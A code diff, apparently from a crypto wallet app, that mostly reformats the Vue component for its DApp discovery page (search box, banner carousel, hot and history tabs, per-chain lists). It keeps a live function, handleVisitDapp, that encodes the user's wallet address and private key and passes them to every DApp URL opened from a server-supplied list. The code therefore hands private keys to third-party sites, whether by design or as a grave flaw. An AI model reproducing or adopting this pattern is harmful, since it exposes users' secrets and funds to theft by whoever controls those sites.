1

src/views/dapp/index.vue

@@ -1,168 +1,181 @@
 <template>
-    <div class="container">
-        <div class="head-bg" />
-        <div class="head-nav-bar">探索</div>
+  <div class="container">
+    <div class="head-bg" />
+    <div class="head-nav-bar">探索</div>
 
-        <div class="search-box">
-            <svg-icon class="search-icon" name="search" />
-            <van-field v-model="searchValue" placeholder="输入DApp名称或网址" />
+    <div class="search-box">
+      <svg-icon class="search-icon" name="search" />
+      <van-field v-model="searchValue" placeholder="输入DApp名称或网址" />
+    </div>
+
+    <van-swipe class="swipe-box" :autoplay="3000" lazy-render>
+      <van-swipe-item v-for="item in slidesList" :key="item.id">
+        <div class="swipe-item">
+          <van-image class="swipe-image" :src="item.pic" />
         </div>
-         
-        <van-swipe class="swipe-box" :autoplay="3000" lazy-render>
-            <van-swipe-item v-for="item in slidesList" :key="item.id">
-                <div class="swipe-item">
-                    <van-image class="swipe-image" :src="item.pic" />
-                </div>
-            </van-swipe-item>
+      </van-swipe-item>
+
+      <template #indicator="{ active, total }">
+        <div class="custom-indicator">
+          <div
+            v-for="item in total"
+            :key="item"
+            class="custom-indicator-item"
+            :class="{ active: item === active + 1 }"
+          />
+        </div>
+      </template>
+    </van-swipe>
 
-            <template #indicator="{ active, total }">
-                <div class="custom-indicator">
-                    <div
-                        v-for="item in total"
-                        :key="item"
-                        class="custom-indicator-item"
-                        :class="{ active: item === active + 1 }"
+    <van-tabs class="tabs-wrapper-card" type="card" @change="onTabsWrapperCard">
+      <van-tab
+        v-for="(item, index) in tabsAppConfig"
+        :title="item.title"
+        :key="index"
+      >
+        <div class="tabs-content-body">
+          <div
+            v-for="cItem in item.children"
+            class="tabs-content-item"
+            @click="handleVisitDapp(cItem)"
+          >
+            <van-image class="tabs-content-item-icon" round :src="cItem.logo" />
+            <span>{{ cItem.name }}</span>
+          </div>
+        </div>
+      </van-tab>
+    </van-tabs>
+
+    <van-skeleton v-if="chainTypes.length == 0" title :row="6" />
+    <van-tabs
+      v-else
+      v-model="activeTab"
+      @change="onTabChange"
+      class="tabs-wrapper"
+    >
+      <!-- 全部 -->
+      <van-tab title="全部" name="ALL">
+        <template #default>
+          <div class="tab-box">
+            <div v-for="group in groupedList" :key="group.chain">
+              <div class="tab-box-label">{{ group.chain }}</div>
+              <div
+                class="tab-box-list"
+                v-for="item in group.items"
+                :key="item.id"
+                @click="handleVisitDapp(item)"
+              >
+                <van-image
+                  class="tab-box-list-img"
+                  :src="item.logo || defaultImg"
+                  round
+                />
+                <div class="tab-box-ri">
+                  <div class="tab-box-ri-title">
+                    <text>{{ item.name }}</text>
+                    <svg-icon
+                      v-if="item.is_hot == 1"
+                      class="hot-icon"
+                      name="hot"
+                    />
+                    <svg-icon
+                      v-if="item.is_hot == 1"
+                      class="rm-icon"
+                      name="rm"
                     />
+                  </div>
+                  <div class="tab-box-ri-cont">
+                    {{ item.desc || item.chain + "链上的应用" }}
+                  </div>
                 </div>
-            </template>
-        </van-swipe>
+              </div>
+            </div>
+          </div>
+        </template>
+      </van-tab>
 
-        <van-tabs class="tabs-wrapper-card" type="card" @change="onTabsWrapperCard">
-            <van-tab
-                v-for="(item, index) in tabsAppConfig"
-                :title="item.title"
-                :key="index"
+      <!-- 单链标签 -->
+      <van-tab
+        v-for="chain in chainTypes"
+        :title="chain"
+        :name="chain"
+        :key="chain"
+      >
+        <template #default>
+          <div class="tab-box">
+            <div class="tab-box-label">{{ chain }}</div>
+            <div
+              class="tab-box-list"
+              v-for="item in filteredList"
+              :key="item.id"
+              @click="handleVisitDapp(item)"
             >
-                <div class="tabs-content-body">
-                    <div
-                        v-for="cItem in item.children"
-                        class="tabs-content-item" @click="handleVisitDapp(cItem)"
-                    >
-                        <van-image
-                            class="tabs-content-item-icon"
-                            round
-                            :src="cItem.logo"
-                        />
-                        <span>{{ cItem.name }}</span>
-                    </div>
+              <van-image
+                class="tab-box-list-img"
+                :src="item.logo || defaultImg"
+                round
+              />
+              <div class="tab-box-ri">
+                <div class="tab-box-ri-title">
+                  <text>{{ item.name }}</text>
+                  <svg-icon
+                    v-if="item.is_hot == 1"
+                    class="hot-icon"
+                    name="hot"
+                  />
+                  <svg-icon v-if="item.is_hot == 1" class="rm-icon" name="rm" />
                 </div>
-            </van-tab>
-        </van-tabs>
-
-        <van-skeleton v-if="chainTypes.length == 0" title :row="6" />
-        <van-tabs v-else v-model="activeTab" @change="onTabChange" class="tabs-wrapper">
-            <!-- 全部 -->
-            <van-tab title="全部" name="ALL">
-                <template #default>
-                    <div class="tab-box">
-                        <div v-for="group in groupedList" :key="group.chain">
-                            <div class="tab-box-label">{{ group.chain }}</div>
-                            <div
-                                class="tab-box-list"
-                                v-for="item in group.items"
-                                :key="item.id" @click="handleVisitDapp(item)"
-                            >
-                                <van-image
-                                    class="tab-box-list-img"
-                                    :src="item.logo || defaultImg"
-                                    round
-                                />
-                                <div class="tab-box-ri">
-                                    <div class="tab-box-ri-title">
-                                        <text>{{ item.name }}</text>
-                                        <svg-icon v-if="item.is_hot == 1" class="hot-icon" name="hot" />
-                                        <svg-icon v-if="item.is_hot == 1" class="rm-icon" name="rm" />
-                                    </div>
-                                    <div class="tab-box-ri-cont">
-                                        {{
-                                            item.desc ||
-                                            item.chain + '链上的应用'
-                                        }}
-                                    </div>
-                                </div>
-                            </div>
-                        </div>
-                    </div>
-                </template>
-            </van-tab>
-            
-            <!-- 单链标签 -->
-            <van-tab 
-                v-for="chain in chainTypes"
-                :title="chain"
-                :name="chain"
-                :key="chain"
-            >
-                <template #default>
-                    <div class="tab-box">
-                        <div class="tab-box-label">{{ chain }}</div>
-                        <div
-                            class="tab-box-list"
-                            v-for="item in filteredList"
-                            :key="item.id" @click="handleVisitDapp(item)"
-                        >
-                            <van-image
-                                class="tab-box-list-img"
-                                :src="item.logo || defaultImg"
-                                round
-                            />
-                            <div class="tab-box-ri">
-                                <div class="tab-box-ri-title">
-                                    <text>{{ item.name }}</text>
-                                    <svg-icon v-if="item.is_hot == 1" class="hot-icon" name="hot" />
-                                    <svg-icon v-if="item.is_hot == 1" class="rm-icon" name="rm" />
-                                </div>
-                                <div class="tab-box-ri-cont">
-                                    {{ item.desc || item.chain + '链上的应用' }}
-                                </div>
-                            </div>
-                        </div>
-                    </div>
-                </template>
-            </van-tab>
-        </van-tabs>
-    </div>
+                <div class="tab-box-ri-cont">
+                  {{ item.desc || item.chain + "链上的应用" }}
+                </div>
+              </div>
+            </div>
+          </div>
+        </template>
+      </van-tab>
+    </van-tabs>
+  </div>
 </template>
 
 <script setup>
-import { dappSlides, dappList } from '@/api/path/dapp.api';
+import { dappSlides, dappList } from "@/api/path/dapp.api";
 import { useSystemStore } from "@/stores/modules/systemStore";
-import { useWalletStore } from '@/stores/modules/walletStore';
-import { openDapp } from '@/composables/dAppView';
-import { cryptoEncode } from '@/utils/crypto';
+import { useWalletStore } from "@/stores/modules/walletStore";
+import { openDapp } from "@/composables/dAppView";
+import { cryptoEncode } from "@/utils/crypto";
 
 const systemStore = useSystemStore();
 const walletStore = useWalletStore();
 
 const slidesList = ref([]);
 const tabsAppConfig = ref([
-    {
-        title: '热门推荐',
-        children: []
-    },
-    {
-        title: '浏览记录',
-        children: []
-    }
+  {
+    title: "热门推荐",
+    children: [],
+  },
+  {
+    title: "浏览记录",
+    children: [],
+  },
 ]);
 const rawList = ref([]); // 全部后端返回的数据
-const activeTab = ref('ALL'); // 当前选中的 tab：ALL 或 chain 名
-const searchValue = ref('');
+const activeTab = ref("ALL"); // 当前选中的 tab：ALL 或 chain 名
+const searchValue = ref("");
 
 // 获取轮播图
 const getdappSlides = async () => {
-    const res = await dappSlides();
-    slidesList.value = res.data.list;
+  const res = await dappSlides();
+  slidesList.value = res.data.list;
 };
 // 热门推荐
 const gethotlist = async () => {
-    const res = await dappList({ is_hot: 1 });
-    tabsAppConfig.value[0].children = res.data.list;
+  const res = await dappList({ is_hot: 1 });
+  tabsAppConfig.value[0].children = res.data.list;
 };
 
 // 从数据中提取所有链类型（比如 ETH、BSC、TRON、ACC…）
 const chainTypes = computed(() => {
-  const types = rawList.value.map(item => item.chain);
+  const types = rawList.value.map((item) => item.chain);
   return [...new Set(types)];
 });
 
@@ -176,22 +189,22 @@ const groupedList = computed(() => {
     groups[item.chain].push(item);
   }
   const sortedChains = Object.keys(groups).sort((a, b) => {
-    return a === 'ACC' ? -1 : b === 'ACC' ? 1 : 0;
+    return a === "ACC" ? -1 : b === "ACC" ? 1 : 0;
   });
 
-  return sortedChains.map(chain => ({
+  return sortedChains.map((chain) => ({
     chain,
-    items: groups[chain]
+    items: groups[chain],
   }));
 });
 
 // 单链模式
 const filteredList = computed(() => {
-  return rawList.value.filter(item => item.chain === activeTab.value);
+  return rawList.value.filter((item) => item.chain === activeTab.value);
 });
 
 // tab 切换时触发
-const onTabChange = name => {
+const onTabChange = (name) => {
   activeTab.value = name;
 };
 // 获取列表
@@ -202,245 +215,253 @@ const getdappList = async () => {
 
 // 热门推荐 浏览记录切换
 const onTabsWrapperCard = (name) => {
-    if(name == 1) loadHistoryList();
-}
+  if (name == 1) loadHistoryList();
+};
 
 //保存数据
 const handleVisitDapp = (item) => {
-  const history = systemStore.DAPP_CACHE_KEY
-  const filtered = history.filter(i => i.id !== item.id);
+  const history = systemStore.DAPP_CACHE_KEY;
+  const filtered = history.filter((i) => i.id !== item.id);
   filtered.unshift(item);
   const newHistory = filtered.slice(0, 6);
   systemStore.DAPP_CACHE_KEY = newHistory;
 
-  const dapp = cryptoEncode(JSON.stringify({
-    address: walletStore.address,
-    privateKey: walletStore.privateKey, 
-  }))
-  openDapp(item.url, {dapp})
+  const dapp = cryptoEncode(
+    JSON.stringify({
+      address: walletStore.address,
+      privateKey: walletStore.privateKey,
+    })
+  );
+  openDapp(item.url, { dapp });
 };
 const loadHistoryList = () => {
-  const history = systemStore.DAPP_CACHE_KEY
+  const history = systemStore.DAPP_CACHE_KEY;
   tabsAppConfig.value[1].children = history;
 };
 
 onMounted(async () => {
-    getdappSlides();
-    gethotlist();
-    getdappList();
-    loadHistoryList(); // 加载浏览记录
+  getdappSlides();
+  gethotlist();
+  getdappList();
+  loadHistoryList(); // 加载浏览记录
 });
 </script>
 
 <style lang="less" scoped>
 .container {
-    height: calc(100vh - 50px);
-    overflow: auto;
+  height: calc(100vh - 50px);
+  overflow: hidden;
 }
 .container::-webkit-scrollbar {
-    width: 0;
+  width: 0;
 }
 .head-bg {
-    .fn-head-bg();
+  .fn-head-bg();
 }
 .head-nav-bar {
-    width: 100%;
-    height: 26px;
-    display: flex;
-    justify-content: center;
-    margin-top: 40px;
-    font-weight: 500;
-    font-size: 19px;
-    color: #000000;
+  width: 100%;
+  height: 26px;
+  display: flex;
+  justify-content: center;
+  margin-top: 40px;
+  font-weight: 500;
+  font-size: 19px;
+  color: #000000;
 }
 
 .search-box {
+  flex: 1;
+  display: flex;
+  align-items: center;
+  height: 33px;
+  margin: 15px 17px 0 17px;
+  border-radius: 23px 23px 23px 23px;
+  background-color: #e3edfd;
+  color: #95a9ed;
+  .search-icon {
+    height: 25px;
+    width: 25px;
+    margin-left: 6px;
+  }
+  :deep(.van-cell) {
     flex: 1;
-    display: flex;
-    align-items: center;
-    height: 33px;
-    margin: 15px 17px 0 17px;
-    border-radius: 23px 23px 23px 23px;
-    background-color: #e3edfd;
+    font-size: 15px;
+    margin: 0 6px;
+    padding: 0 !important;
+    background: #e3edfd !important;
+    line-height: 25px !important;
+    width: initial !important;
+    box-sizing: border-box;
+  }
+  :deep(.van-field__control) {
+    color: #95a9ed !important;
+  }
+  :deep(.van-field__control::placeholder) {
     color: #95a9ed;
-    .search-icon {
-        height: 25px;
-        width: 25px;
-        margin-left: 6px;
-    }
-    :deep(.van-cell) {
-        flex: 1;
-        font-size: 15px;
-        margin: 0 6px;
-        padding: 0 !important;
-        background: #e3edfd !important;
-        line-height: 25px !important;
-        width: initial !important;
-        box-sizing: border-box;
-    }
-    :deep(.van-field__control) {
-        color: #95a9ed !important;
-    }
-    :deep(.van-field__control::placeholder) {
-        color: #95a9ed;
-    }
+  }
 }
 
 .swipe-box {
-    height: 180px;
-    margin: 17px 17px 0 17px;
+  height: 180px;
+  margin: 17px 17px 0 17px;
+  border-radius: 17px 17px 17px 17px;
+  .swipe-item {
+    height: 160px;
+    width: 100%;
     border-radius: 17px 17px 17px 17px;
-    .swipe-item {
-        height: 160px;
-        width: 100%;
-        border-radius: 17px 17px 17px 17px;
-        overflow: hidden;
-    }
-    .swipe-image {
-        height: 160px;
-        width: 100%;
-    }
-    .custom-indicator {
-        position: absolute;
-        right: 5px;
-        bottom: 0px;
-        width: 100%;
-        display: flex;
-        justify-content: center;
-        align-items: flex-end;
+    overflow: hidden;
+  }
+  .swipe-image {
+    height: 160px;
+    width: 100%;
+  }
+  .custom-indicator {
+    position: absolute;
+    right: 5px;
+    bottom: 0px;
+    width: 100%;
+    display: flex;
+    justify-content: center;
+    align-items: flex-end;
 
-        .active {
-            background: @theme-color1;
-        }
-    }
-    .custom-indicator-item {
-        display: flex;
-        width: 15px;
-        height: 2px;
-        background: @theme-color2;
-        border-radius: 5px 5px 5px 5px;
-        margin: 0 2px;
+    .active {
+      background: @theme-color1;
     }
+  }
+  .custom-indicator-item {
+    display: flex;
+    width: 15px;
+    height: 2px;
+    background: @theme-color2;
+    border-radius: 5px 5px 5px 5px;
+    margin: 0 2px;
+  }
 }
 
 .tabs-wrapper-card {
-    height: 130px;
-    margin-top: 40px; 
-    :deep(.van-tabs__nav) {
-        padding: 3px;
-        background: #f2f2f2;
-        border: 0px;
-    }
-    :deep(.van-tabs__nav--card) {
-        border-radius: 32px 32px 32px 32px;
-    }
-    :deep(.van-tab--active) {
-        border-radius: 32px 32px 32px 32px;
-        color: @theme-color1 !important;
-        background-color: @bg-color1;
-    }
-    :deep(.van-tab--card) {
-        color: @font-color2;
-        border-right: 0px;
-    }
+  height: 130px;
+  margin-top: 40px;
+  :deep(.van-tabs__nav) {
+    padding: 3px;
+    background: #f2f2f2;
+    border: 0px;
+  }
+  :deep(.van-tabs__nav--card) {
+    border-radius: 32px 32px 32px 32px;
+  }
+  :deep(.van-tab--active) {
+    border-radius: 32px 32px 32px 32px;
+    color: @theme-color1 !important;
+    background-color: @bg-color1;
+  }
+  :deep(.van-tab--card) {
+    color: @font-color2;
+    border-right: 0px;
+  }
 }
 
 .tabs-content-body {
+  display: flex;
+  width: 100%;
+  padding: 20px 0 0 17px;
+  overflow: auto;
+  box-sizing: border-box;
+  .tabs-content-item {
     display: flex;
-    width: 100%;
-    padding: 20px 0 0 17px;
-    overflow: auto;
-    box-sizing: border-box;
-    .tabs-content-item {
-        display: flex;
-        flex-direction: column;
-        align-items: center;
-        width: 50px;
-        min-width: 50px;
-        font-size: 12px;
-        margin-right: 26px;
-        span {
-            margin-top: 4px;
-        }
+    flex-direction: column;
+    align-items: center;
+    width: 50px;
+    min-width: 50px;
+    font-size: 12px;
+    margin-right: 26px;
+    span {
+      margin-top: 4px;
+    }
 
-        .tabs-content-item-icon {
-            width: 42px;
-            height: 42px;
-        }
+    .tabs-content-item-icon {
+      width: 42px;
+      height: 42px;
     }
+  }
 }
 .tabs-content-body::-webkit-scrollbar {
-    height: 0;
+  height: 0;
 }
 
 .tabs-wrapper {
-    padding: 0 12px;
-    :deep(.van-tabs__nav) {
-        background: transparent;
-    }
-    :deep(.van-tab) {
-        border-bottom: 1px solid #d8d8d8;
-    }
-    :deep(.van-tabs__line) {
-        height: 1px;
-        width: 58px;
-    }
-    :deep(.van-tabs__wrap) {
-        height: 30px;
-    }
-    :deep(.van-tab--active) {
-        color: @theme-color1;
+  padding: 0 12px;
+  :deep(.van-tabs__nav) {
+    background: transparent;
+  }
+  :deep(.van-tab) {
+    border-bottom: 1px solid #d8d8d8;
+  }
+  :deep(.van-tabs__line) {
+    height: 1px;
+    width: 58px;
+  }
+  :deep(.van-tabs__wrap) {
+    height: 30px;
+  }
+  :deep(.van-tab--active) {
+    color: @theme-color1;
+  }
+  :deep(.van-tabs__line) {
+    background: @theme-color1 !important;
+  }
+
+  .tab-box {
+    padding: 16px 10px 0px;
+    height: calc(100vh - 590px);
+    overflow-y: auto;
+    &::-webkit-scrollbar {
+      display: none;
     }
-    :deep(.van-tabs__line) {
-        background: @theme-color1 !important;
+    .tab-box-label {
+      font-family:
+        PingFang SC,
+        PingFang SC;
+      font-weight: 500;
+      font-size: 15px;
+      color: #000000;
+      margin-bottom: 12px;
     }
-    .tab-box {
-        padding: 16px 4px 0;
-        .tab-box-label {
-            font-family:
-                PingFang SC,
-                PingFang SC;
-            font-weight: 500;
-            font-size: 15px;
-            color: #000000;
-            margin-bottom: 12px;
+    .tab-box-list {
+      display: flex;
+      margin-bottom: 17px;
+      align-items: center;
+      .tab-box-list-img {
+        width: 42px;
+        height: 42px;
+        margin-right: 9px;
+        flex-shrink: 0;
+      }
+      .tab-box-ri {
+        font-family:
+          PingFang SC,
+          PingFang SC;
+        font-weight: 500;
+        font-size: 15px;
+        color: @font-color2;
+        .hot-icon {
+          width: 15px;
+          height: 15px;
+          margin-right: 4px;
+          position: relative;
+          top: -3px;
         }
-        .tab-box-list {
-            display: flex;
-            margin-bottom: 17px;
-            align-items: center;
-            .tab-box-list-img {
-                width: 42px;
-                height: 42px;
-                margin-right: 9px;
-                flex-shrink: 0;
-            }
-            .tab-box-ri {
-                font-family:
-                    PingFang SC,
-                    PingFang SC;
-                font-weight: 500;
-                font-size: 15px;
-                color: @font-color2;
-                .hot-icon {
-                    width: 15px;
-                    height: 15px;
-                    margin-right: 4px;
-                    position: relative;
-                    top: -3px;
-                }
-                .rm-icon {
-                    width: 33px;
-                    height: 15px;
-                }
-                .tab-box-ri-cont {
-                    margin-top: 3px;
-                    font-weight: 400;
-                    font-size: 12px;
-                    color: #8d8d8d;
-                }
-            }
+        .rm-icon {
+          width: 33px;
+          height: 15px;
         }
+        .tab-box-ri-cont {
+          margin-top: 3px;
+          font-weight: 400;
+          font-size: 12px;
+          color: #8d8d8d;
+        }
+      }
     }
+  }
 }
 </style>